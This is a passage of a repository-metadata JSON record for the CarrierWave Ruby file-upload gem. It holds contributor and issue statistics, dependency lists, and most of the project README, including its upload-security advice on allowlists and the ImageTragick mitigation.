K.T.","email":"tomas.konig.t@gmail.com","login":"coloradosazulyanaranjados","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-17T00:00:06.017Z","repositories_count":6683646,"commits_count":960413555,"contributors_count":40627151,"owners_count":1344318,"committers_count":3322757,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues_stats":{"full_name":"carrierwaveuploader/carrierwave","html_url":"https://github.com/carrierwaveuploader/carrierwave","last_synced_at":"2026-08-13T01:27:51.833Z","status":null,"issues_count":182,"pull_requests_count":126,"avg_time_to_close_issue":81578355.10563381,"avg_time_to_close_pull_request":5067374.0,"issues_closed_count":142,"pull_requests_closed_count":106,"pull_request_authors_count":65,"issue_authors_count":163,"avg_comments_per_issue":2.456043956043956,"avg_comments_per_pull_request":1.6428571428571428,"merged_pull_requests_count":70,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":12,"past_year_pull_requests_count":24,"past_year_avg_time_to_close_issue":5608133.0,"past_year_avg_time_to_close_pull_request":2792700.0,"past_year_issues_closed_count":2,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":17,"past_year_issue_authors_count":12,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.75,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":3,"past_year_merged_pull_requests_count":5,"created_at":"2023-05-12T08:48:01.709Z","updated_at":"2026-08-13T01:27:51.833Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/issues","issue_labels_count":{"bug":13,"needs info":11,"question":8,"enhancement":8,"suggestion":1,"maintenance":1,"documentation":1},"pull_request_labels_count":{"dependencies":4,"github_actions":3},"issue_author_associations_count":{"NONE":167,"CONTRIBUTOR":11,"MEMBER":4},"pull_request_author_associations_count":{"CONTRIBUTOR":64,"NONE":58,"MEMBER":4},"issue_authors":{"macera":3,"ssugiyama":3,"Brandonzid-locke":3,"mshibuya":3,"miguelpeniche":3,"TB-Development":2,"langalex":2,"DBugger32":2,"rajyan":2,"dvodvo":2,"sgrverma24":2,"AnrichVS":2,"brunosedler":2,"yk-eta":2,"celsoMartins":1,"coneybeare":1,"RomanUkraine":1,"djalmaaraujo":1,"walterdavis":1,"emuesuenu":1,"swelther":1,"JonRowe":1,"jules-w2":1,"Cremesis":1,"mukeshmahara":1,"MarcelEeken":1,"robertoboldi":1,"takmar":1,"testa19":1,"Paxa":1,"bjedrocha":1,"HeppokoNeet":1,"x-yuri":1,"ZASMan":1,"srikanthreddy919":1,"krisdigital":1,"apjames93":1,"aesnyder":1,"UmPlat":1,"sectasy0":1,"simptive":1,"ryanb":1,"frostme":1,"Francismb":1,"yellow-cpu":1,"bitscraps":1,"jonathanrbowman":1,"scashin133":1,"tsipa88":1,"senaxor":1,"bblimke":1,"jsgarvin":1,"wata727":1,"sylvainbx":1,"a-aerts":1,"airled":1,"bhh":1,"ecentell-CPF":1,"atz":1,"gomo":1,"amrutjadhav":1,"codemang":1,"codez":1,"xanderman":1,"radeno":1,"cblunt":1,"snoblenet":1,"qaswm":1,"mavinalim":1,"ganeshchothve":1,"Complaex-Makandra":1,"yanaizmene":1,"franee":1,"wjdhamilton":1,"Drnoodle":1,"clm-a":1,"akashbit":1,"joemsak":1,"pachkovsky":1,"tpltn":1,"naaano":1,"donatoaz":1,"alexpooley":1,"xuloo":1,"tpdogan":1,"pbougie":1,"bonekost":1,"mdesantis":1,"zlx":1,"rustsadb":1,"jasper502":1,"felipefava":1,"DcsMarionDickten":1,"chaadow":1,"lpradovera":1,"SergeyProger":1,"tigus":1,"y-yagi":1,"brijeshror":1,"alvaromat":1,"alexdunae":1,"henrik":1,"ogawa5773":1,"jstoup111":1,"Amnesthesia":1,"bli":1,"Sakaki-Ya":1,"atavistock":1,"ssaha777":1,"Rovel":1,"abratashov":1,"rodrigoalvesvieira":1,"dil-atiwari":1,"mayankkumarji":1,"znz":1,"jeremylynch":1,"nebtrx":1,"hikaen2":1,"vizakenjack":1,"CodingAnarchy":1,"amiryalsa":1,"elijahkim":1,"fatuhoku":1,"muk-ai":1,"PragmaticEd":1,"williamhakim10":1,"highhi":1,"sakahiro":1,"johnvoloski":1,"MatsumotoHiroko":1,"iBublik":1,"bartosz-michalak":1,"AleksandrLeontev":1,"betjaminrichards":1,"toby-brilliant":1,"xuuyswfaynvifuwm":1,"mariia-kulakova":1,"jonhue":1,"seboslaw":1,"deecewan":1,"augustosamame":1,"matt-domsch-sp":1,"feliperaul":1,"dsfwoo8172":1,"adysson":1,"clickworkorange":1,"rishijain":1,"khoanguyenpionero":1,"plribeiro3000":1,"afuno":1,"WillNigel23":1,"gblair":1,"SaimonL":1,"tashirosota":1,"jasonfine":1,"take":1,"ValentinSoyer":1,"acaron":1,"AlexVPopov":1,"namila":1,"janz93":1,"shunichi":1,"mattgilbertnet":1},"pull_request_authors":{"y-yagi":9,"rajyan":9,"w-masahiro-ct":6,"mshibuya":4,"jalkoby":4,"dependabot[bot]":4,"tricknotes":3,"ydah":3,"matt-domsch-sp":2,"gaffneyc":2,"mark-young-atg":2,"kaibadash":2,"stormsilver":2,"RYOTA-KOBA":2,"Uaitt":2,"chaadow":2,"coloradosazulyanaranjados":2,"jiikko":2,"marcogregorius":2,"schinery":2,"dangerousbeans":2,"gblair":2,"ollym":2,"r7kamura":2,"kazuyainoue0124":2,"mbie":2,"yasudatoshiyuki":2,"amiryalsa":2,"BrianHawley":2,"dmoore5050":2,"clickworkorange":2,"nassim-platogo":2,"kianmeng":2,"danwilliams-fl":2,"sho-work":2,"seuros":1,"woutersmeenk":1,"TomK32":1,"chubchenko":1,"abepark01":1,"nerdrew":1,"braindeaf":1,"Amnesthesia":1,"marsz":1,"kimyu92":1,"ibrahima":1,"sawasaki-narumi":1,"wynksaiddestroy":1,"nachiket87":1,"hanu-14":1,"fwitzke":1,"maiiat":1,"ciremoussadia":1,"TsubasaYoshida":1,"stanhu":1,"krasnoukhov":1,"cou929":1,"gautampunhani":1,"SuperTux88":1,"aubinlrx":1,"rndev15":1,"dzhikvas":1,"abeparkcm":1,"IgorKhlebnikoff":1,"joshuamsager":1},"host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-13T00:00:06.201Z","repositories_count":16028589,"issues_count":40472809,"pull_requests_count":130911484,"authors_count":11442379,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"},"past_year_issue_labels_count":{},"past_year_pull_request_labels_count":{"dependencies":3,"github_actions":3},"past_year_issue_author_associations_count":{"NONE":11,"CONTRIBUTOR":1},"past_year_pull_request_author_associations_count":{"NONE":17,"CONTRIBUTOR":7},"past_year_issue_authors":{"amiryalsa":1,"chaadow":1,"Cremesis":1,"DcsMarionDickten":1,"ecentell-CPF":1,"jasonfine":1,"mattgilbertnet":1,"Paxa":1,"rustsadb":1,"SaimonL":1,"SergeyProger":1,"xuuyswfaynvifuwm":1},"past_year_pull_request_authors":{"y-yagi":3,"dependabot[bot]":3,"RYOTA-KOBA":2,"kaibadash":2,"amiryalsa":2,"ciremoussadia":1,"fwitzke":1,"hanu-14":1,"IgorKhlebnikoff":1,"chubchenko":1,"maiiat":1,"nerdrew":1,"rndev15":1,"braindeaf":1,"stanhu":1,"woutersmeenk":1,"wynksaiddestroy":1},"maintainers":[{"login":"mshibuya","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mshibuya"},{"login":"plribeiro3000","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/plribeiro3000"}],"active_maintainers":[]},"events":{"total":{"CreateEvent":6,"CommitCommentEvent":3,"ReleaseEvent":4,"DeleteEvent":4,"PullRequestEvent":24,"ForkEvent":33,"IssuesEvent":35,"WatchEvent":69,"IssueCommentEvent":66,"PushEvent":54,"GollumEvent":1,"PullRequestReviewEvent":8,"PullRequestReviewCommentEvent":6},"last_year":{"DeleteEvent":2,"PullRequestEvent":2,"ForkEvent":4,"IssuesEvent":4,"WatchEvent":15,"IssueCommentEvent":4,"PushEvent":15,"PullRequestReviewEvent":1,"PullRequestReviewCommentEvent":1}},"keywords":[],"dependencies":[{"ecosystem":"rubygems","filepath":"Gemfile","sha":null,"kind":"manifest","created_at":"2022-07-07T14:38:15.446Z","updated_at":"2022-07-07T14:38:15.446Z","repository_link":"https://github.com/carrierwaveuploader/carrierwave/blob/master/Gemfile","dependencies":[{"id":111352194,"package_name":"activemodel-serializers-xml","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":111352195,"package_name":"sqlite3","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":111352196,"package_name":"activerecord-jdbcsqlite3-adapter","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"rubygems","filepath":"carrierwave.gemspec","sha":null,"kind":"manifest","created_at":"2022-07-07T14:38:15.451Z","updated_at":"2022-07-07T14:38:15.451Z","repository_link":"https://github.com/carrierwaveuploader/carrierwave/blob/master/carrierwave.gemspec","dependencies":[{"id":111352202,"package_name":"activesupport","ecosystem":"rubygems","requirements":"\u003e= 6.0.0","direct":true,"kind":"runtime","optional":false},{"id":111352203,"package_name":"activemodel","ecosystem":"rubygems","requirements":"\u003e= 6.0.0","direct":true,"kind":"runtime","optional":false},{"id":111352204,"package_name":"image_processing","ecosystem":"rubygems","requirements":"~\u003e 1.1","direct":true,"kind":"runtime","optional":false},{"id":111352205,"package_name":"marcel","ecosystem":"rubygems","requirements":"~\u003e 1.0.0","direct":true,"kind":"runtime","optional":false},{"id":111352206,"package_name":"addressable","ecosystem":"rubygems","requirements":"~\u003e 2.6","direct":true,"kind":"runtime","optional":false},{"id":111352207,"package_name":"ssrf_filter","ecosystem":"rubygems","requirements":"~\u003e 1.0","direct":true,"kind":"runtime","optional":false},{"id":111352208,"package_name":"rails","ecosystem":"rubygems","requirements":"\u003e= 6.0.0","direct":true,"kind":"development","optional":false},{"id":111352209,"package_name":"cucumber","ecosystem":"rubygems","requirements":"~\u003e 2.3","direct":true,"kind":"development","optional":false},{"id":111352210,"package_name":"rspec","ecosystem":"rubygems","requirements":"~\u003e 3.4","direct":true,"kind":"development","optional":false},{"id":111352211,"package_name":"rspec-retry","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352212,"package_name":"webmock","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352213,"package_name":"fog-aws","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352214,"package_name":"fog-google","ecosystem":"rubygems","requirements":"~\u003e 1.7, != 1.12.1","direct":true,"kind":"development","optional":false},{"id":111352215,"package_name":"fog-local","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352216,"package_name":"fog-rackspace","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352217,"package_name":"mini_magick","ecosystem":"rubygems","requirements":"\u003e= 3.6.0","direct":true,"kind":"development","optional":false},{"id":111352218,"package_name":"rmagick","ecosystem":"rubygems","requirements":"\u003e= 2.16","direct":true,"kind":"development","optional":false},{"id":111352219,"package_name":"timecop","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352220,"package_name":"generator_spec","ecosystem":"rubygems","requirements":"\u003e= 0.9.1","direct":true,"kind":"development","optional":false},{"id":111352221,"package_name":"pry","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false},{"id":111352222,"package_name":"pry-byebug","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/test.yml","sha":null,"kind":"manifest","created_at":"2023-01-13T10:17:26.394Z","updated_at":"2023-01-13T10:17:26.394Z","repository_link":"https://github.com/carrierwaveuploader/carrierwave/blob/master/.github/workflows/test.yml","dependencies":[{"id":6875540762,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":6875540763,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1","direct":true,"kind":"composite","optional":false}]}],"score":36.131852582738574,"created_at":"2024-12-15T21:38:08.440Z","updated_at":"2026-08-17T10:30:42.001Z","avatar_url":"https://github.com/carrierwaveuploader.png","language":"Ruby","monthly_downloads":0,"readme":"# CarrierWave\n\nThis gem provides a simple and extremely flexible way to upload files from Ruby applications.\nIt works well with Rack based web applications, such as Ruby on Rails.\n\n[![Build Status](https://github.com/carrierwaveuploader/carrierwave/workflows/Test/badge.svg)](https://github.com/carrierwaveuploader/carrierwave/actions)\n[![Code Climate](https://codeclimate.com/github/carrierwaveuploader/carrierwave.svg)](https://codeclimate.com/github/carrierwaveuploader/carrierwave)\n[![SemVer](https://api.dependabot.com/badges/compatibility_score?dependency-name=carrierwave\u0026package-manager=bundler\u0026version-scheme=semver)](https://dependabot.com/compatibility-score.html?dependency-name=carrierwave\u0026package-manager=bundler\u0026version-scheme=semver)\n\n\n## Information\n\n* RDoc documentation [available on RubyDoc.info](https://rubydoc.info/gems/carrierwave)\n* Source code [available on GitHub](http://github.com/carrierwaveuploader/carrierwave)\n* More information, known limitations, and how-tos [available on the wiki](https://github.com/carrierwaveuploader/carrierwave/wiki)\n\n## Getting Help\n\n* Please ask the community on [Stack Overflow](https://stackoverflow.com/questions/tagged/carrierwave) for help if you have any questions. Please do not post usage questions on the issue tracker.\n* Please report bugs on the [issue tracker](http://github.com/carrierwaveuploader/carrierwave/issues) but read the \"getting help\" section in the wiki first.\n\n## Installation\n\nInstall the latest release:\n\n```\n$ gem install carrierwave\n```\n\nIn Rails, add it to your Gemfile:\n\n```ruby\ngem 'carrierwave', '~\u003e 3.0'\n```\n\nFinally, restart the server to apply the changes.\n\n## Upgrading from 2.x or earlier\n\nCarrierWave 3.0 comes with a change in the way of handling the file extension on conversion. This results in following issues if you use `process convert: :format` to change the file format:\n\n- If you have it on the uploader itself (not within a version), the file extension of the cached file will change. That means if you serve both CarrierWave 2.x and 3.x simultaneously on the same workload (e.g. using blue-green deployment), a cache file stored by 2.x can't be retrieved by 3.x and vice versa.\n- If you have it within a version, the file extension of the stored file will change. You need to perform `#recreate_versions!` to make it usable again.\n\nTo preserve the 2.x behavior, you can set `force_extension false` right after calling `process convert: :format`. See [#2659](https://github.com/carrierwaveuploader/carrierwave/pull/2659) for the detail.\n\n## Getting Started\n\nStart off by generating an uploader:\n\n\trails generate uploader Avatar\n\nthis should give you a file in:\n\n\tapp/uploaders/avatar_uploader.rb\n\nCheck out this file for some hints on how you can customize your uploader. It\nshould look something like this:\n\n```ruby\nclass AvatarUploader \u003c CarrierWave::Uploader::Base\n  storage :file\nend\n```\n\nYou can use your uploader class to store and retrieve files like this:\n\n```ruby\nuploader = AvatarUploader.new\n\nuploader.store!(my_file)\n\nuploader.retrieve_from_store!('my_file.png')\n```\n\nCarrierWave gives you a `store` for permanent storage, and a `cache` for\ntemporary storage. You can use different stores, including filesystem\nand cloud storage.\n\nMost of the time you are going to want to use CarrierWave together with an ORM.\nIt is quite simple to mount uploaders on columns in your model, so you can\nsimply assign files and get going:\n\n### ActiveRecord\n\nMake sure you are loading CarrierWave after loading your ORM, otherwise you'll\nneed to require the relevant extension manually, e.g.:\n\n```ruby\nrequire 'carrierwave/orm/activerecord'\n```\n\nAdd a string column to the model you want to mount the uploader by creating\na migration:\n\n\n\trails g migration add_avatar_to_users avatar:string\n\trails db:migrate\n\nOpen your model file and mount the uploader:\n\n```ruby\nclass User \u003c ApplicationRecord\n  mount_uploader :avatar, AvatarUploader\nend\n```\n\nNow you can cache files by assigning them to the attribute, they will\nautomatically be stored when the record is saved.\n\n```ruby\nu = User.new\nu.avatar = params[:file] # Assign a file like this, or\n\n# like this\nFile.open('somewhere') do |f|\n  u.avatar = f\nend\n\nu.save!\nu.avatar.url # =\u003e '/url/to/file.png'\nu.avatar.current_path # =\u003e 'path/to/file.png'\nu.avatar_identifier # =\u003e 'file.png'\n```\n\n**Note**: `u.avatar` will never return nil, even if there is no photo associated to it.\nTo check if a photo was saved to the model, use `u.avatar.file.nil?` instead.\n\n### DataMapper, Mongoid, Sequel\n\nOther ORM support has been extracted into separate gems:\n\n* [carrierwave-datamapper](https://github.com/carrierwaveuploader/carrierwave-datamapper)\n* [carrierwave-mongoid](https://github.com/carrierwaveuploader/carrierwave-mongoid)\n* [carrierwave-sequel](https://github.com/carrierwaveuploader/carrierwave-sequel)\n\nThere are more extensions listed in [the wiki](https://github.com/carrierwaveuploader/carrierwave/wiki)\n\n## Multiple file uploads\n\nCarrierWave also has convenient support for multiple file upload fields.\n\n### ActiveRecord\n\nAdd a column which can store an array. This could be an array column or a JSON\ncolumn for example. Your choice depends on what your database supports. For\nexample, create a migration like this:\n\n\n#### For databases with ActiveRecord json data type support (e.g. PostgreSQL, MySQL)\n\n\trails g migration add_avatars_to_users avatars:json\n\trails db:migrate\n\n#### For database without ActiveRecord json data type support (e.g. SQLite)\n\n\trails g migration add_avatars_to_users avatars:string\n\trails db:migrate\n\n__Note__: JSON datatype doesn't exists in SQLite adapter, that's why you can use a string datatype which will be serialized in model.\n\nOpen your model file and mount the uploader:\n\n\n```ruby\nclass User \u003c ApplicationRecord\n  mount_uploaders :avatars, AvatarUploader\n  serialize :avatars, JSON # If you use SQLite, add this line.\nend\n```\n\nMake sure that you mount the uploader with write (mount_uploaders) with `s` not (mount_uploader)\nin order to avoid errors when uploading multiple files\n\nMake sure your file input fields are set up as multiple file fields. For\nexample in Rails you'll want to do something like this:\n\n```erb\n\u003c%= form.file_field :avatars, multiple: true %\u003e\n```\n\nAlso, make sure your upload controller permits the multiple file upload attribute, *pointing to an empty array in a hash*. For example:\n\n```ruby\nparams.require(:user).permit(:email, :first_name, :last_name, {avatars: []})\n```\n\nNow you can select multiple files in the upload dialog (e.g. SHIFT+SELECT), and they will\nautomatically be stored when the record is saved.\n\n```ruby\nu = User.new(params[:user])\nu.save!\nu.avatars[0].url # =\u003e '/url/to/file.png'\nu.avatars[0].current_path # =\u003e 'path/to/file.png'\nu.avatars[0].identifier # =\u003e 'file.png'\n```\n\nIf you want to preserve existing files on uploading new one, you can go like:\n\n```erb\n\u003c% user.avatars.each do |avatar| %\u003e\n  \u003c%= hidden_field :user, :avatars, multiple: true, value: avatar.identifier %\u003e\n\u003c% end %\u003e\n\u003c%= form.file_field :avatars, multiple: true %\u003e\n```\n\nSorting avatars is supported as well by reordering `hidden_field`, an example using jQuery UI Sortable is available [here](https://github.com/carrierwaveuploader/carrierwave/wiki/How-to%3A-Add%2C-remove-and-reorder-images-using-multiple-file-upload).\n\n## Changing the storage directory\n\nIn order to change where uploaded files are put, just override the `store_dir`\nmethod:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def store_dir\n    'public/my/upload/directory'\n  end\nend\n```\n\nThis works for the file storage as well as Amazon S3 and Rackspace Cloud Files.\nDefine `store_dir` as `nil` if you'd like to store files at the root level.\n\nIf you store files outside the project root folder, you may want to define `cache_dir` in the same way:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def cache_dir\n    '/tmp/projectname-cache'\n  end\nend\n```\n\n## Changing the filename\n\nTo change the filename of uploaded files, you can override `#filename` method in the uploader.\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def filename\n    \"image.#{file.extension}\" # If you upload 'file.jpg', you'll get 'image.jpg'\n  end\nend\n```\n\nSome old documentations (like [this](https://stackoverflow.com/a/5865117)) may instruct you to safeguard the filename value with `if original_filename`, but it's no longer necessary with CarrierWave 3.0 or later.\n\n## Securing uploads\n\nCertain files might be dangerous if uploaded to the wrong location, such as PHP\nfiles or other script files. CarrierWave allows you to specify an allowlist of\nallowed extensions or content types.\n\nIf you're mounting the uploader, uploading a file with the wrong extension will\nmake the record invalid instead. Otherwise, an error is raised.\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def extension_allowlist\n    %w(jpg jpeg gif png)\n  end\nend\n```\n\nThe same thing could be done using content types.\nLet's say we need an uploader that accepts only images. This can be done like this\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def content_type_allowlist\n    /image\\//\n  end\nend\n```\n\nYou can use a denylist to reject content types.\nLet's say we need an uploader that reject JSON files. This can be done like this\n\n```ruby\nclass NoJsonUploader \u003c CarrierWave::Uploader::Base\n  def content_type_denylist\n    ['application/text', 'application/json']\n  end\nend\n```\n\n### CVE-2016-3714 (ImageTragick)\nThis version of CarrierWave has the ability to mitigate CVE-2016-3714. However, you **MUST** set a content_type_allowlist in your uploaders for this protection to be effective, and you **MUST** either disable ImageMagick's default SVG delegate or use the RSVG delegate for SVG processing.\n\n\nA valid allowlist that will restrict your uploader to images only, and mitigate the CVE is:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def content_type_allowlist\n    [/image\\//]\n  end\nend\n```\n\n**WARNING**: A `content_type_allowlist` is the only form of allowlist or denylist supported by CarrierWave that can effectively mitigate against CVE-2016-3714. Use of `extension_allowlist` will not inspect the file headers, and thus still leaves your application open to the vulnerability.\n\n### Filenames and unicode chars\n\nAnother security issue you should care for is the file names (see\n[Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html#file-uploads)).\nBy default, CarrierWave provides only English letters, arabic numerals and some symbols as\nallowlisted characters in the file name. If you want to support local scripts (Cyrillic letters, letters with diacritics and so on), you\nhave to override `sanitize_regexp` method. It should return regular expression which would match\nall *non*-allowed symbols.\n\n```ruby\nCarrierWave::SanitizedFile.sanitize_regexp = /[^[:word:]\\.\\-\\+]/\n```\n\nAlso make sure that allowing non-latin characters won't cause a compatibility issue with a third-party\nplugins or client-side software.\n\n## Setting the content type\n\nAs of v0.11.0, the `mime-types` gem is a runtime dependency and the content type is set automatically.\nYou no longer need to do this manually.\n\n## Adding versions\n\nOften you'll want to add different versions of the same file. The classic example is generating image thumbnails while preserving the original file to be used for high-quality representation.\nIn this section we'll explore how CarrierWave supports working with multiple versions. The image manipulation itself is covered in [another section](#manipulating-images).\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  include CarrierWave::MiniMagick\n\n  process resize_to_fit: [800, 800]\n\n  version :thumb do\n    process resize_to_fill: [200,200]\n  end\n\nend\n```\n\nWhen this uploader is used, an uploaded image would be scaled to be no larger\nthan 800 by 800 pixels. The original aspect ratio will be kept.\n\nA version called `:thumb` is then created, which is scaled\nto exactly 200 by 200 pixels. The thumbnail uses `resize_to_fill` which makes sure\nthat the width and height specified are filled, only cropping\nif the aspect ratio requires it.\n\nThe above uploader could be used like this:\n\n```ruby\nuploader = AvatarUploader.new\nuploader.store!(my_file)                              # size: 1024x768\n\nuploader.url # =\u003e '/url/to/my_file.png'               # size: 800x800\nuploader.thumb.url # =\u003e '/url/to/thumb_my_file.png'   # size: 200x200\n```\n\nOne important thing to remember is that process is called *before* versions are\ncreated. This can cut down on processing cost.\n\n### Conditional processing\n\nIf you want to use conditional process, you can only use `if` statement.\n\nSee `carrierwave/uploader/processing.rb` for details.\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  process :scale =\u003e [200, 200], :if =\u003e :image?\n  \n  def image?(carrier_wave_sanitized_file)\n    true\n  end\nend\n```\n\n### Nested versions\n\nIt is possible to nest versions within versions:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n\n  version :animal do\n    version :human\n    version :monkey\n    version :llama\n  end\nend\n```\n\n### Conditional versions\n\nOccasionally you want to restrict the creation of versions on certain\nproperties within the model or based on the picture itself.\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n\n  version :human, if: :is_human?\n  version :monkey, if: :is_monkey?\n  version :banner, if: :is_landscape?\n\nprivate\n\n  def is_human? picture\n    model.can_program?(:ruby)\n  end\n\n  def is_monkey? picture\n    model.favorite_food == 'banana'\n  end\n\n  def is_landscape? picture\n    image = MiniMagick::Image.new(picture.path)\n    image[:width] \u003e image[:height]\n  end\n\nend\n```\n\nThe `model` variable points to the instance object the uploader is attached to.\n\n### Create versions from existing versions\n\nFor performance reasons, it is often useful to create versions from existing ones\ninstead of using the original file. If your uploader generates several versions\nwhere the next is smaller than the last, it will take less time to generate from\na smaller, already processed image.\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n\n  version :thumb do\n    process resize_to_fill: [280, 280]\n  end\n\n  version :small_thumb, from_version: :thumb do\n    process resize_to_fill: [20, 20]\n  end\n\nend\n```\n\n### Customizing version filenames\n\nCarrierWave supports [customization of filename](#changing-the-filename) by overriding an uploader's\n#filename method, but this doesn't work for versions because of the limitation on how CarrierWave\nre-constructs the filename on retrieval of the stored file.\nInstead, you can override `#full_filename` with providing a version-aware name.\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  version :thumb do\n    def full_filename(for_file)\n      'thumb.png'\n    end\n    process convert: 'png'\n  end\nend\n```\n\nPlease note that `#full_filename` mustn't be constructed based on a dynamic value\nthat can change from the time of store and time of retrieval, since it will result in\nbeing unable to retrieve a file previously stored.\n\n## Making uploads work across form redisplays\n\nOften you'll notice that uploaded files disappear when a validation fails.\nCarrierWave has a feature that makes it easy to remember the uploaded file even\nin that case. Suppose your `user` model has an uploader mounted on `avatar`\nfile, just add a hidden field called `avatar_cache` (don't forget to add it to\nthe attr_accessible list as necessary). In Rails, this would look like this:\n\n```erb\n\u003c%= form_for @user, html: { multipart: true } do |f| %\u003e\n  \u003cp\u003e\n    \u003clabel\u003eMy Avatar\u003c/label\u003e\n    \u003c%= f.file_field :avatar %\u003e\n    \u003c%= f.hidden_field :avatar_cache %\u003e\n  \u003c/p\u003e\n\u003c% end %\u003e\n````\n\nIt might be a good idea to show the user that a file has been uploaded, in the\ncase of images, a small thumbnail would be a good indicator:\n\n```erb\n\u003c%= form_for @user, html: { multipart: true } do |f| %\u003e\n  \u003cp\u003e\n    \u003clabel\u003eMy Avatar\u003c/label\u003e\n    \u003c%= image_tag(@user.avatar_url) if @user.avatar? %\u003e\n    \u003c%= f.file_field :avatar %\u003e\n    \u003c%= f.hidden_field :avatar_cache %\u003e\n  \u003c/p\u003e\n\u003c% end %\u003e\n```\n\n## Removing uploaded files\n\nIf you want to remove a previously uploaded file on a mounted uploader, you can\neasily add a checkbox to the form which will remove the file when checked.\n\n```erb\n\u003c%= form_for @user, html: { multipart: true } do |f| %\u003e\n  \u003cp\u003e\n    \u003clabel\u003eMy Avatar\u003c/label\u003e\n    \u003c%= image_tag(@user.avatar_url) if @user.avatar? %\u003e\n    \u003c%= f.file_field :avatar %\u003e\n  \u003c/p\u003e\n\n  \u003cp\u003e\n    \u003clabel\u003e\n      \u003c%= f.check_box :remove_avatar %\u003e\n      Remove avatar\n    \u003c/label\u003e\n  \u003c/p\u003e\n\u003c% end %\u003e\n```\n\nIf you want to remove the file manually, you can call \u003ccode\u003eremove_avatar!\u003c/code\u003e, then save the object.\n\n```erb\n@user.remove_avatar!\n@user.save\n#=\u003e true\n```\n\n## Uploading files from a remote location\n\nYour users may find it convenient to upload a file from a location on the Internet\nvia a URL. CarrierWave makes this simple, just add the appropriate attribute to your\nform and you're good to go:\n\n```erb\n\u003c%= form_for @user, html: { multipart: true } do |f| %\u003e\n  \u003cp\u003e\n    \u003clabel\u003eMy Avatar URL:\u003c/label\u003e\n    \u003c%= image_tag(@user.avatar_url) if @user.avatar? %\u003e\n    \u003c%= f.text_field :remote_avatar_url %\u003e\n  \u003c/p\u003e\n\u003c% end %\u003e\n```\n\nIf you're using ActiveRecord, CarrierWave will indicate invalid URLs and download\nfailures automatically with attribute validation errors. If you aren't, or you\ndisable CarrierWave's `validate_download` option, you'll need to handle those\nerrors yourself.\n\n### Retry option for download from remote location\nIf you want to retry the download from the Remote URL, enable the download_retry_count option, an error occurs during download, it will try to execute the specified number of times.\nThis option is effective when the remote destination is unstable.\n\n```rb\nCarrierWave.configure do |config|\n  config.download_retry_count = 3 # Default 0\n  config.download_retry_wait_time = 3 # Default 5\nend\n```\n\n## Providing a default URL\n\nIn many cases, especially when working with images, it might be a good idea to\nprovide a default url, a fallback in case no file has been uploaded. You can do\nthis easily by overriding the `default_url` method in your uploader:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def default_url(*args)\n    \"/images/fallback/\" + [version_name, \"default.png\"].compact.join('_')\n  end\nend\n```\n\nOr if you are using the Rails asset pipeline:\n\n```ruby\nclass MyUploader \u003c CarrierWave::Uploader::Base\n  def default_url(*args)\n    ActionController::Base.helpers.asset_path(\"fallback/\" + [version_name, \"default.png\"].compact.join('_'))\n  end\nend\n```\n\n## Recreating versions\n\nYou might come to a situation where you want to retroactively change a version\nor add a new one. You can use the `recreate_versions!` method to recreate the\nversions from the base file. This uses a naive approach which will re-upload and\nprocess the specified version or all versions, if none is passed as an argument.\n\nWhen you are generating random unique filenames you 